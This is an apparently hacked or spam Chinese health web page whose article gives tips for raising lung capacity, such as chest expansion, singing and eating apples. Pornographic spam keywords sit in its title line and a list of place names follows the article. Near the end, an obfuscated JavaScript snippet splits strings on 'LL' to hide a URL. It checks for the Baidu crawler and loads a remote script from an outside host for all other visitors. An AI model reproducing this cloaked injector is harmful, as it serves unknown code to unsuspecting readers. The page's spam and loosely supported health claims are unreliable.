亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

怎么才能鍛煉肺活量呢

2017-04-16 22:24:49  來源:360常識網(wǎng)   熱度:
導(dǎo)語:當(dāng)我們偶爾進行一次運動常會累的大口喘氣時,那就是肺活量不足的表現(xiàn)。當(dāng)我們?nèi)粘I钪懈呗暣蠛皫茁暫蟾杏X肺部難受、氧氣不足時,這也是肺

當(dāng)我們偶爾進行一次運動常會累的大口喘氣時,那就是肺活量不足的表現(xiàn)。當(dāng)我們?nèi)粘?a href="http://www.chouju30.cn/sh/" target="_blank" class="keylink">生活中高聲大喊幾聲后感覺肺部難受、氧氣不足時,這也是肺活量不足的癥狀。肺活量不足也代表著我們的身體素質(zhì)不佳,需要進行相應(yīng)的鍛煉來提高肺活量,增強體質(zhì)。下面具體來了解有哪些方法。

擴胸運動:每天做兩次擴胸和胸部伸展動作50次,最好每天起床后和臨睡前進行,可有效防止肺活量下降。

挺起胸膛:長期堅持抬頭挺胸直腰的正確姿勢,肺活量可增加5%~20%,而身體各組織所獲得的氧氣量也隨之增加。堅持挺胸還能增強大腦的記憶力。

水中漫步:如果不會游泳,則建議水中漫步,要有一定的速度,水深最好過腰??焖僖淮?5分鐘,休息5分鐘,再走10分鐘,休息5分鐘,再走15分鐘。每周練習(xí)兩次,效果明顯。

一展歌喉:唱歌也不失為一種增加肺活量的好方法。歌曲優(yōu)美的旋律,能使人陶醉其中,樂而忘憂;發(fā)聲時講究運氣調(diào)神,呼吸均勻深長,有利身心。

常吃蘋果:蘋果和西紅柿最有助于幫助人體更暢快地進行呼吸。每周至少吃5個蘋果或是3個西紅柿可以顯著提高人體的肺功能。同時,經(jīng)常吃香蕉也不會遇到呼吸困難的情況。

以上就是鍛煉肺活量的幾個好方法,大家不要忽略了肺活量的重要性,目前醫(yī)學(xué)上已經(jīng)將通過測量肺活量來檢測衰老的一個重要項目,這也間接說明了如果我們的肺活量不足,那么代表著身體機能開始有衰老的現(xiàn)象,所以從現(xiàn)在開始起,讓我們每天運動起來,來鍛煉我們的肺活量。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
高陵县| 乳源| 麦盖提县| 东明县| 大宁县| 安仁县| 通山县| 木兰县| 沙河市| 合水县| 贵阳市| 通许县| 克拉玛依市| 永靖县| 临安市| 贵定县| 福安市| 黄石市| 玉溪市| 永胜县| 嵊州市| 敦化市| 靖安县| 外汇| 鸡东县| 宜宾县| 寻乌县| 开平市| 广饶县| 玉环县| 阳泉市| 建湖县| 黑龙江省| 江孜县| 石棉县| 新竹市| 日土县| 凯里市| 呼图壁县| 小金县| 容城县|